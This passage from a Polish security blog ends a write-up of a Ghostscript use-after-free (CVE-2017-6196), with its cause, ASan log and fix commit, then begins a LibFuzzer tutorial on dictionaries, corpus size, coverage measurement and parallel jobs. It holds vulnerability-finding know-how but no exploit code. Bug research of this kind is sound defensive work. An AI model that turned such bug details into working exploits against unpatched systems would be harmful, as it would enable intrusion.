Następnie funkcja i_free_object() powołana do właściwego sprzątania po obiektach, sprawdzając typ obiektu – korzystała ze zwolnionej pamięci i triggerowała use-after-free.

Krótkie podsumowanie dla czytelników, którzy “złapali” overflow:

  1. Funkcja gx_begin_image[1,4]() alokuje enumerator i wywołuje funkcję gx_image_enum_begin()
  2. W przypadku wystąpienia błędu w gx_image_enum_begin(), funkcja gx_begin_image[1,4]() zwalnia pamięć tego obiektu
  3. Przy pewnych warunkach funkcja gx_image_enum_begin() również zwalnia pamięć tego obiektu
  4. Funkcja gx_begin_image[1,4]() “sprząta” po wszystkim za pomocą m.in. i_free_object()
  5. Do zadań i_free_object() należy sprawdzenie typu obiektu, który jest następnie zwalniany – w tym momencie dochodzi do odczytu zwolnionej pamięci

Załatanie tego błędu było banalnie proste i sprowadziło się do usunięcia czterech wywołań funkcji gs_free_object() w gx_image_enum_begin() – według zasady: “nie alokujesz pamięci, to też jej nie zwalniasz” 🙂

Log z ASAN:

==20050==ERROR: AddressSanitizer: heap-use-after-free on address 0x62b000000258 at pc 0x0000013f34f7 bp 0x7ffd6a96d7b0 sp 0x7ffd6a96d7a8
READ of size 8 at 0x62b000000258 thread T0
    #0 0x13f34f6 in i_free_object XYZ/ghostpdl/./base/gsalloc.c:1418:18
    #1 0x17fed3f in gx_begin_image1 XYZ/ghostpdl/./base/gximage1.c:99:9
    #2 0x18a7e16 in gx_default_begin_typed_image XYZ/ghostpdl/./base/gdevddrw.c:1059:12
    #3 0x18a79f8 in gx_default_begin_image XYZ/ghostpdl/./base/gdevddrw.c:1024:12
    #4 0x18a7d93 in gx_default_begin_typed_image XYZ/ghostpdl/./base/gdevddrw.c:1051:24
    #5 0x1476174 in gs_image_begin_typed XYZ/ghostpdl/./base/gsimage.c:252:12
    #6 0x1b344e5 in zimage_setup XYZ/ghostpdl/./psi/zimage.c:184:9
    #7 0x1b35cff in image1_setup XYZ/ghostpdl/./psi/zimage.c:246:12
    #8 0x1a22d37 in interp XYZ/ghostpdl/./psi/interp.c:1578:40
    #9 0x1a22d37 in gs_call_interp XYZ/ghostpdl/./psi/interp.c:511
    #10 0x1a22d37 in gs_interpret XYZ/ghostpdl/./psi/interp.c:468
    #11 0x19f5ab2 in gs_main_interpret XYZ/ghostpdl/./psi/imain.c:238:12
    #12 0x19f5ab2 in gs_main_run_string_end XYZ/ghostpdl/./psi/imain.c:656
    #13 0x19f5ab2 in gs_main_run_string_with_length XYZ/ghostpdl/./psi/imain.c:614
    #14 0x1a019ee in run_string XYZ/ghostpdl/./psi/imainarg.c:977:16
    #15 0x1a019ee in runarg XYZ/ghostpdl/./psi/imainarg.c:967
    #16 0x1a00e48 in argproc XYZ/ghostpdl/./psi/imainarg.c:900:16
    #17 0x19f9963 in gs_main_init_with_args XYZ/ghostpdl/./psi/imainarg.c:238:24
    #18 0x5475d8 in main XYZ/ghostpdl/./psi/gs.c:96:16
    #19 0x7f9f5c0d582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #20 0x47ba08 in _start (/usr/local/bin/gs+0x47ba08)

0x62b000000258 is located 88 bytes inside of 24928-byte region [0x62b000000200,0x62b000006360)
freed by thread T0 here:
    #0 0x519ecb in __interceptor_free /home/llvm/clang-3.9/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
    #1 0x148af3f in gs_heap_free_object XYZ/ghostpdl/./base/gsmalloc.c:354:5

previously allocated by thread T0 here:
    #0 0x51a21c in malloc /home/llvm/clang-3.9/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3
    #1 0x148a4ff in gs_heap_alloc_bytes XYZ/ghostpdl/./base/gsmalloc.c:189:34

SUMMARY: AddressSanitizer: heap-use-after-free XYZ/ghostpdl/./base/gsalloc.c:1418:18 in i_free_object
Shadow bytes around the buggy address:
  0x0c567fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c567fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c567fff8040: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x0c567fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==20050==ABORTING

Bug #697596 w Bugzilli

Commit naprawiający: ecceafe3abba2714ef9b432035fe0739d9b1a283

CVE: CVE-2017-6196

LLVM LibFuzzer – Fast track #2

Słowo wstępu

Kolejna część szybkiego wprowadzenia do zagadnień związanych z LibFuzzerem – w tym poście skupię się na nieco “głębszym” wykorzystaniu wbudowanych funkcjonalności, tunigu wydajności fuzzera oraz pokryciu kodu za pomocą SanitizerCoverage.

Bez zbędnego rozwlekania, przechodzimy do konkretów 🙂

Jak robić to lepiej?

W moim rozumieniu: lepiej = większy code coverage || więcej execs/s.. Generalnie w przypadku fuzzerów zawsze należy pamiętać o prawidłowości: więcej execs/s -> większy korpus -> większy code coverage -> więcej potencjalnych crashy.

Autorzy LibFuzzera jako minimum przyjmują 1000 execs/s dla efektywnego fuzzingu.

Słowniki

Słowniki znacząco przyczyniają się do większego pokrycia kodu – fuzzujemy po prostu mądrze, nie tracąc cykli CPU na generowanie bezwartościowego inputu.

Pliki słowników wykorzystywane przez LibFuzzer są kompatybilne z AFL, więc możemy skorzystać z dostarczonych razem z tym fuzzerem. Jeżeli nie znajdziemy tam słownika kompatybilnego z naszym programem, warto poświęcić chwilę i napisać go samemu – ROI jest na prawdę duże 🙂

Dobre słowniki można znaleźć w następujących miejscach:

Leniwi czytelnicy mogą skorzystać z gotowego skryptu pozwalającego na wygenerowanie słownika na podstawie dostarczonej specyfikacji.

Rozmiar korpusu testowego

W większości przypadków im mniejsze pliki tym lepiej (aczkolwiek nie polecam obsesyjnie się tego trzymać). Nie ma sensu fuzzować biblioteki regex za pomocą przypadków testowych o rozmiarze 100KB i więcej. Polecam przetestować empirycznie własny fuzzer pod kątem wielkości pojedyńczego przypadku testowego – przełącznik “-max_len“.

Osobiście, po kilku iteracjach fuzzingu danego projektu, dzielę korpus testowy względem rozmiaru – pliki mniejsze niż 1, 2, 4… KB i sprawdzam jak wygląda pokrycie kodu dla danego rozmiaru. Następnie idę na rozsądny kompromis (przynajmniej tak mi się wydaje) pomiędzy pokryciem a rozmiarem 😉

Im wyższą wartość niepowodującą degradacji szybkości uda się nam znaleźć, tym otrzymamy lepsze pokrycie kodu.

Kod fuzzera

Tutaj pomoże ortodoksyjne trzymanie się zasady KISS (albo po polsku DUPA) 😉

Parę prostych wskazówek:

  • Nie inicjalizujmy za każdym razem (jeżeli nie musimy) mechanizmów fuzzowanej biblioteki
  • Korzystajmy ze stosu zamiast z alokacji na heapie – jest dużo szybszy. Dla przykładu wywołanie funkcji memstet() dla 1 MB zaalkokowanego na heapie to 5x wolniejsza operacja, od takiej samej, tylko, że na stosie
  • Zwalniajmy wszystkie zasoby, które są wykorzystywane podczas iteracji fuzzera. W przeciwnym razie pamięć RAM zostanie “zeżarta” na naszych oczach

Bardzo fajny przykład optymalizacji został przedstawiony na slajdach jednego z modułów warsztatu LibFuzzer Workshopzachęcam do zapoznania się z całym materiałem 🙂

Badanie pokrycia kodu

Przed uruchomieniem fuzzera warto sprawdzić w jakim stopniu nasz korpus testowy pokrywa badany przez nas kod. Niestety do tego będzie potrzebna ponowna kompilacja fuzzera, z innymi przełącznikami (tutaj na przykładzie fuzzera pcre2):


clang++ -std=c++11 pcre2_fuzzer.cc -I pcre/src -Wl,--whole-archive pcre/.libs/*.a -Wl,-no-whole-archive ~/Desktop/libFuzzer.a -O2 -fno-omit-frame-pointer -g -fsanitize=address -fsanitize-coverage=edge,indirect-calls,8bit-counters,trace-cmp,trace-div,trace-gep -o pcre2_fuzzer_coverage

Uwaga! Przełącznik 8bit-counters nie będzie wspierany. W przypadku chęci wykorzystania innych metod badania pokrycia warto wcześniej rzucić okiem na dokumentację SanCova (sporo metod pozostanie bez wsparcia i nie będą rozwijane).

Następnie odpalamy skompilowaną binarkę:

ASAN_OPTIONS=coverage=1 ./pcre2_fuzzer_coverage corpus_dir/ -runs=0

INFO: Seed: 3765786233
INFO: Loaded 0 modules (0 guards):
Loading corpus dir: regex_min/
Loaded 1024/8815 files from regex_min/
Loaded 2048/8815 files from regex_min/
Loaded 4096/8815 files from regex_min/
Loaded 8192/8815 files from regex_min/
INFO: -max_len is not provided, using 2035
#0    READ units: 8814
#2048    pulse  exec/s: 409 rss: 132Mb
#4096    pulse  exec/s: 178 rss: 143Mb
Slowest unit: 16 s:
artifact_prefix='./'; Test unit written to ./slow-unit-2c9a2da85c6b915818510370f6ff6680c8515d94
Slowest unit: 18 s:
artifact_prefix='./'; Test unit written to ./slow-unit-53e82f19e2337033fcc43d1c9da61da8e5ff90af
#8192    pulse  exec/s: 38 rss: 232Mb
#8814    INITED exec/s: 36 rss: 243Mb
ERROR: no interesting inputs were found. Is the code instrumented for coverage? Exiting.

Nie przejmujemy się komunikatem i dodajemy symbole do pliku .sancov :

sancov -symbolize pcre2_fuzzer_coverage pcre2_fuzzer_cov.18822.sancov > pcre2.symcov

Kolejnym krokiem jest odpalenie raportu w HTMLu dotyczący pokrycia kodu dla poszczególnych plików testowanego projektu:

python coverage-report-server.py --symcov pcre2.symcov --srcpath .

Efekt końcowy:

Wielowątkowość

Kiedy mamy już dobre pokrycie i szybki fuzzer warto odpalić go w kilku instancjach aby wycisnąć ostatnie soki i z fuzzera i z CPU 🙂

Libfuzzer ma, przynajmniej dla mnie, niecodzienny model zarządzania kilkoma instancjami. Składa się z dwóch części:

  • worker – przełącznik -workers, liczba równoległych instancji fuzzera – najczęściej taka sama jak liczba logicznych procesorów. Domyślnie jest to liczba logicznych CPU / 2
  • job – przełącznik -jobs, job jest rozumiany jako proces do znalezienia inputu powodującego awarię (crash, hang, brak pamięci, wyciek pamięci)

Uruchamiając fuzzer w poniższy sposób:

./myfuzzer -workers=4 -jobs=4 corpus_dir/

Znalezienie crasha spowoduje zabicie jednej instancji fuzzera i fuzzing na trzech lub mniejszej liczbie procesorów (w zależności od liczby znalezionych crashy). Czasami może okazać się, że nasze fuzzery przestały całkowicie pracować – dlatego polecam uruchamianie z dużo większą liczbą jobów:

./myfuzzer -workers=4 -jobs=4000 corpus_dir/

Spowoduje to “ciągły” fuzzing, tak jak w przypadku AFLa, który, moim zdaniem, w tej kwestii dużo lepiej podchodzi do problemu.